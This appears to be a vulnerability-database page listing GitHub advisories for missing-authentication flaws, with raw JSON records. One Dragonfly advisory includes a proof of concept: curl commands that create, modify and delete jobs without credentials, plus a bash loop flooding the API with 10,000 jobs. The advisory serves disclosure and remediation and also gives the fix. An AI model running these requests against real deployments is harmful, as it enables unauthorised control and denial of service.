Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3482 vulnerabilities reference this CWE, most recent first.

GHSA-J857-GCQP-8FMP

Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2024-04-03 23:52

Details

In NetworkManager 0.9.2.0, when a new wireless network was created with WPA/WPA2 security in AdHoc mode, it created an open/insecure network.

Severity

4.4 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2012-2736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-26T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In NetworkManager 0.9.2.0, when a new wireless network was created with WPA/WPA2 security in AdHoc mode, it created an open/insecure network.",
  "id": "GHSA-j857-gcqp-8fmp",
  "modified": "2024-04-03T23:52:53Z",
  "published": "2022-04-23T00:40:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2736"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2012-2736"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-2736"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2012-2736"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2012-09/msg00049.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/06/15/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/06/15/4"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1483-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1483-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J85X-732X-XQ8Q

Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2025-04-24 21:31

Details

Under certain circumstances communications between the ICU tool and an iSTAR Pro door controller is susceptible to Machine-in-the-Middle attacks which could impact door control and configuration.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-32752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T21:15:48Z",
    "severity": "HIGH"
  },
  "details": "Under certain circumstances communications between the ICU tool and an iSTAR Pro door controller is susceptible to Machine-in-the-Middle attacks which could impact door control and configuration.",
  "id": "GHSA-j85x-732x-xq8q",
  "modified": "2025-04-24T21:31:47Z",
  "published": "2024-06-06T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32752"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-158-04"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/-/media/jci/cyber-solutions/product-security-advisories/2024/jci-psa-2024-06.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J8HF-CP34-G4J7

Vulnerability from github – Published: 2026-01-22 18:04 – Updated: 2026-01-23 15:49

Summary

Dragonfly Manager Job API Unauthenticated Access

Details

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

Product: Dragonfly
Component: Manager (REST API)
Affected Versions: v2.x (based on source code analysis, including v2.4.0)
Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

List all jobs (GET /api/v1/jobs)
Create new jobs (POST /api/v1/jobs)
Query job details (GET /api/v1/jobs/:id)
Modify jobs (PATCH /api/v1/jobs/:id)
Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.

Proof of Concept

Environment Setup

Prerequisites

Kubernetes cluster (Kind/Minikube/GKE, etc.)
Helm 3.8.0+
kubectl
curl and jq

Deployment Steps

Add Dragonfly Helm Repository

helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/
helm repo update

Generate Deployment Manifest

helm template dragonfly dragonfly/dragonfly \
  --namespace dragonfly-system \
  --set manager.replicas=1 \
  --set scheduler.replicas=1 \
  --set seedClient.replicas=1 \
  --set client.enable=false > /tmp/dragonfly-manifest.yaml

Deploy to Kubernetes

kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output:

namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met

Setup Port Forwarding

kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output:

[]

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command:

curl -s -X POST http://localhost:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://example.com/test-file.txt"
    },
    "scheduler_cluster_ids": [1]
  }' | jq .

Actual Output:

{
  "id": 2,
  "created_at": "2026-01-17T16:34:22.497Z",
  "updated_at": "2026-01-17T16:34:22.497Z",
  "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
  "type": "preheat",
  "state": "PENDING",
  "args": {
    "type": "file",
    "url": "http://example.com/test-file.txt",
    "scope": "single_seed_peer",
    "timeout": 3600000000000
  },
  "user_id": 0,
  "scheduler_clusters": [
    {
      "id": 1,
      "name": "cluster-1",
      "is_default": true
    }
  ]
}

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output:

2
"preheat"
"PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command:

curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
  -H "Content-Type: application/json" \
  -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output:

2
"Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command:

curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output:

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command:

curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output:

{
  "message": "Unauthorized"
}

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at: - Script: poc.sh - Output Log: poc_output.log

Execution Summary:

[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE
[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)
[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)

Impact Analysis

Direct Impact

Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations)
Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic
Service Disruption: Can delete legitimate jobs, affecting normal file distribution services
Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

Resource Exhaustion Attack

# Create 10,000 jobs to exhaust resources
for i in $(seq 1 10000); do
  curl -X POST http://manager:8080/api/v1/jobs \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" &
done

SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)
Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

Manager API exposed on the public internet or untrusted networks
Malicious users or compromised systems in internal networks
Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

// Before Fix (lines 204-211)
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

// After Fix
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

Network Isolation: Restrict network access to the Manager API
Use firewall rules to limit source IPs
Only allow trusted internal networks to access
Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication
API Gateway: Deploy an API gateway in front of Manager for authentication
Use reverse proxies like Nginx/Kong/Traefik
Configure OAuth2/JWT validation
Monitoring and Alerting: Monitor abnormal access patterns to Job API
Log all Job API calls
Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output:

{
  "message": "Unauthorized"
}

Appendix: Complete Verification Logs

Deployment Verification Logs

$ kubectl -n dragonfly-system get pods
NAME                                 READY   STATUS    RESTARTS   AGE
dragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m
dragonfly-mysql-0                    1/1     Running   0          5m
dragonfly-redis-master-0             1/1     Running   0          5m
dragonfly-redis-replicas-0           1/1     Running   0          5m
dragonfly-scheduler-0                1/1     Running   0          5m
dragonfly-seed-client-0              1/1     Running   0          5m

$ kubectl -n dragonfly-system get svc dragonfly-manager
NAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE
dragonfly-manager   ClusterIP   10.96.240.126   <none>        8080/TCP,65003/TCP   5m

POC Execution Complete Logs

See poc_output.log file for details.

==========================================
VUL-001: Job API Unauthenticated Access POC
==========================================

[Test 1] GET /api/v1/jobs (No Authentication)
HTTP Status: 200
Response: []
✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication)
HTTP Status: 200
Job ID: 2
✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication)
HTTP Status: 401
Response: {"message":"Unauthorized"}
✅ EXPECTED: Endpoint correctly requires authentication

==========================================
POC Execution Complete
==========================================

Patches

Dragonfy v2.4.1 and above.

Workarounds

There are no effective workarounds, beyond upgrading.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "d7y.io/dragonfly/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T18:04:07Z",
    "nvd_published_at": "2026-01-22T23:15:58Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nDragonfly Manager\u0027s Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.\n\n## Affected Products\n\n- **Product**: Dragonfly\n- **Component**: Manager (REST API)\n- **Affected Versions**: v2.x (based on source code analysis, including v2.4.0)\n- **Affected Endpoints**: `/api/v1/jobs`\n\n## Vulnerability Details\n\n### Description\n\nDragonfly Manager\u0027s Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:\n\n1. **List all jobs** (GET `/api/v1/jobs`)\n2. **Create new jobs** (POST `/api/v1/jobs`)\n3. **Query job details** (GET `/api/v1/jobs/:id`)\n4. **Modify jobs** (PATCH `/api/v1/jobs/:id`)\n5. **Delete jobs** (DELETE `/api/v1/jobs/:id`)\n\n### Technical Root Cause\n\nIn the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware:\n\n```go\n// TODO Add auth to the following routes and fix the tests.\n// Job.\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\nIn contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication:\n\n```go\n// manager/router/router.go:143\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\n```\n\nThe developer left a TODO comment in the code, indicating this is a known but unresolved issue.\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (Kind/Minikube/GKE, etc.)\n- Helm 3.8.0+\n- kubectl\n- curl and jq\n\n#### Deployment Steps\n\n1. **Add Dragonfly Helm Repository**\n```bash\nhelm repo add dragonfly https://dragonflyoss.github.io/helm-charts/\nhelm repo update\n```\n\n2. **Generate Deployment Manifest**\n```bash\nhelm template dragonfly dragonfly/dragonfly \\\n  --namespace dragonfly-system \\\n  --set manager.replicas=1 \\\n  --set scheduler.replicas=1 \\\n  --set seedClient.replicas=1 \\\n  --set client.enable=false \u003e /tmp/dragonfly-manifest.yaml\n```\n\n3. **Deploy to Kubernetes**\n```bash\nkubectl create namespace dragonfly-system\nkubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system\nkubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s\n```\n\n**Expected Output**:\n```\nnamespace/dragonfly-system created\n[... resource creation messages ...]\npod/dragonfly-manager-5cc788d64b-grpbk condition met\npod/dragonfly-mysql-0 condition met\npod/dragonfly-redis-master-0 condition met\npod/dragonfly-scheduler-0 condition met\npod/dragonfly-seed-client-0 condition met\n```\n\n4. **Setup Port Forwarding**\n```bash\nkubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 \u0026\n```\n\n### Exploitation Steps\n\n#### Step 1: Verify Unauthenticated Access\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Actual Output**:\n```json\n[]\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication.\n\n#### Step 2: Create Unauthorized Job\n\n**Command**:\n```bash\ncurl -s -X POST http://localhost:8080/api/v1/jobs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"type\": \"preheat\",\n    \"args\": {\n      \"type\": \"file\",\n      \"url\": \"http://example.com/test-file.txt\"\n    },\n    \"scheduler_cluster_ids\": [1]\n  }\u0027 | jq .\n```\n\n**Actual Output**:\n```json\n{\n  \"id\": 2,\n  \"created_at\": \"2026-01-17T16:34:22.497Z\",\n  \"updated_at\": \"2026-01-17T16:34:22.497Z\",\n  \"task_id\": \"group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9\",\n  \"type\": \"preheat\",\n  \"state\": \"PENDING\",\n  \"args\": {\n    \"type\": \"file\",\n    \"url\": \"http://example.com/test-file.txt\",\n    \"scope\": \"single_seed_peer\",\n    \"timeout\": 3600000000000\n  },\n  \"user_id\": 0,\n  \"scheduler_clusters\": [\n    {\n      \"id\": 1,\n      \"name\": \"cluster-1\",\n      \"is_default\": true\n    }\n  ]\n}\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: Successfully created a Job (ID: 2) without any authentication token.\n\n#### Step 3: Query Job Details\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq \u0027.id, .type, .state\u0027\n```\n\n**Actual Output**:\n```json\n2\n\"preheat\"\n\"PENDING\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 4: Modify Job\n\n**Command**:\n```bash\ncurl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"bio\": \"Modified by unauthenticated attacker\"}\u0027 | jq \u0027.id, .bio\u0027\n```\n\n**Actual Output**:\n```json\n2\n\"Modified by unauthenticated attacker\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 5: Delete Job\n\n**Command**:\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" -X DELETE http://localhost:8080/api/v1/jobs/2\n```\n\n**Actual Output**:\n```\n200\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 6: Comparison Test - Authenticated Endpoint\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/clusters | jq .\n```\n\n**Actual Output**:\n```json\n{\n  \"message\": \"Unauthorized\"\n}\n```\n\n**HTTP Status Code**: `401 Unauthorized`\n\n**Analysis**: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.\n\n### Automated POC Script\n\nComplete automated verification script available at:\n- Script: `poc.sh`\n- Output Log: `poc_output.log`\n\n**Execution Summary**:\n```\n[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE\n[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)\n[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE\n[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE\n[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE\n[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)\n```\n\n## Impact Analysis\n\n### Direct Impact\n\n1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations)\n2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic\n3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services\n4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS)\n\n### Potential Attack Scenarios\n\n1. **Resource Exhaustion Attack**\n```bash\n# Create 10,000 jobs to exhaust resources\nfor i in $(seq 1 10000); do\n  curl -X POST http://manager:8080/api/v1/jobs \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"type\\\":\\\"preheat\\\",\\\"args\\\":{\\\"type\\\":\\\"file\\\",\\\"url\\\":\\\"http://example.com/file-${i}.txt\\\"},\\\"scheduler_cluster_ids\\\":[1]}\" \u0026\ndone\n```\n\n2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)\n\n3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality\n\n### Affected Deployment Scenarios\n\n- Manager API exposed on the public internet or untrusted networks\n- Malicious users or compromised systems in internal networks\n- Tenant isolation failures in multi-tenant environments\n\n## Remediation\n\n### Recommended Fix\n\nAdd authentication and authorization middleware to the Job API in the `manager/router/router.go` file:\n\n```go\n// Before Fix (lines 204-211)\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n\n// After Fix\njob := apiv1.Group(\"/jobs\", jwt.MiddlewareFunc(), rbac)\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\n### Temporary Mitigation\n\nBefore the fix is released, the following mitigation measures can be taken:\n\n1. **Network Isolation**: Restrict network access to the Manager API\n   - Use firewall rules to limit source IPs\n   - Only allow trusted internal networks to access\n   - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication\n\n2. **API Gateway**: Deploy an API gateway in front of Manager for authentication\n   - Use reverse proxies like Nginx/Kong/Traefik\n   - Configure OAuth2/JWT validation\n\n3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API\n   - Log all Job API calls\n   - Set up alerts for abnormal job creation/deletion\n\n### Verify Fix\n\nAfter the fix, all unauthenticated requests should return `401 Unauthorized`:\n\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Expected Output**:\n```json\n{\n  \"message\": \"Unauthorized\"\n}\n```\n\n## Appendix: Complete Verification Logs\n\n### Deployment Verification Logs\n\n```bash\n$ kubectl -n dragonfly-system get pods\nNAME                                 READY   STATUS    RESTARTS   AGE\ndragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m\ndragonfly-mysql-0                    1/1     Running   0          5m\ndragonfly-redis-master-0             1/1     Running   0          5m\ndragonfly-redis-replicas-0           1/1     Running   0          5m\ndragonfly-scheduler-0                1/1     Running   0          5m\ndragonfly-seed-client-0              1/1     Running   0          5m\n\n$ kubectl -n dragonfly-system get svc dragonfly-manager\nNAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE\ndragonfly-manager   ClusterIP   10.96.240.126   \u003cnone\u003e        8080/TCP,65003/TCP   5m\n```\n\n### POC Execution Complete Logs\n\nSee `poc_output.log` file for details.\n```\n==========================================\nVUL-001: Job API Unauthenticated Access POC\n==========================================\n\n[Test 1] GET /api/v1/jobs (No Authentication)\nHTTP Status: 200\nResponse: []\n\u2705 VULNERABLE: Endpoint accessible without authentication\n\n[Test 2] POST /api/v1/jobs (No Authentication)\nHTTP Status: 200\nJob ID: 2\n\u2705 VULNERABLE: Job created without authentication\n\n[Test 3] GET /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job details accessible without authentication\n\n[Test 4] PATCH /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job updated without authentication\n\n[Test 5] DELETE /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job deleted without authentication\n\n[Test 6] GET /api/v1/clusters (Should Require Authentication)\nHTTP Status: 401\nResponse: {\"message\":\"Unauthorized\"}\n\u2705 EXPECTED: Endpoint correctly requires authentication\n\n==========================================\nPOC Execution Complete\n==========================================\n\n```\n---\n\n## Patches\n\n- Dragonfy v2.4.1 and above.\n\n## Workarounds\n\nThere are no effective workarounds, beyond upgrading.",
  "id": "GHSA-j8hf-cp34-g4j7",
  "modified": "2026-01-23T15:49:01Z",
  "published": "2026-01-22T18:04:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-j8hf-cp34-g4j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/commit/9fb9a2dfde3100f32dc7f48eabee4c2b64eac55f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dragonflyoss/dragonfly"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dragonfly Manager Job API Unauthenticated Access"
}

GHSA-J8RR-P259-7WPM

Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-09-25 12:30

Details

Missing authentication in the GetAssignmentsDue method in IDAttend’s IDWeb application 3.1.052 and earlier allows extraction of sensitive student and teacher data by unauthenticated attackers.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-27259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-25T18:17:26Z",
    "severity": "HIGH"
  },
  "details": "Missing authentication in the GetAssignmentsDue      method in IDAttend\u2019s IDWeb application 3.1.052 and earlier allows extraction of sensitive student and teacher data by unauthenticated attackers.  ",
  "id": "GHSA-j8rr-p259-7wpm",
  "modified": "2024-09-25T12:30:40Z",
  "published": "2023-10-25T18:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27259"
    },
    {
      "type": "WEB",
      "url": "https://www.themissinglink.com.au/security-advisories/cve-2023-27259"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J926-CG89-W6QR

Vulnerability from github – Published: 2024-10-11 15:30 – Updated: 2024-10-11 15:30

Details

CWE-306: Missing Authentication for Critical Function vulnerability exists that could cause exposure of private data when an already generated “logcaptures” archive is accessed directly by HTTPS.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-8530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T14:15:05Z",
    "severity": "MODERATE"
  },
  "details": "CWE-306: Missing Authentication for Critical Function vulnerability exists that could\ncause exposure of private data when an already generated \u201clogcaptures\u201d archive is accessed\ndirectly by HTTPS.",
  "id": "GHSA-j926-cg89-w6qr",
  "modified": "2024-10-11T15:30:33Z",
  "published": "2024-10-11T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8530"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2024-282-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2024-282-01.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J934-W62C-3233

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30

Details

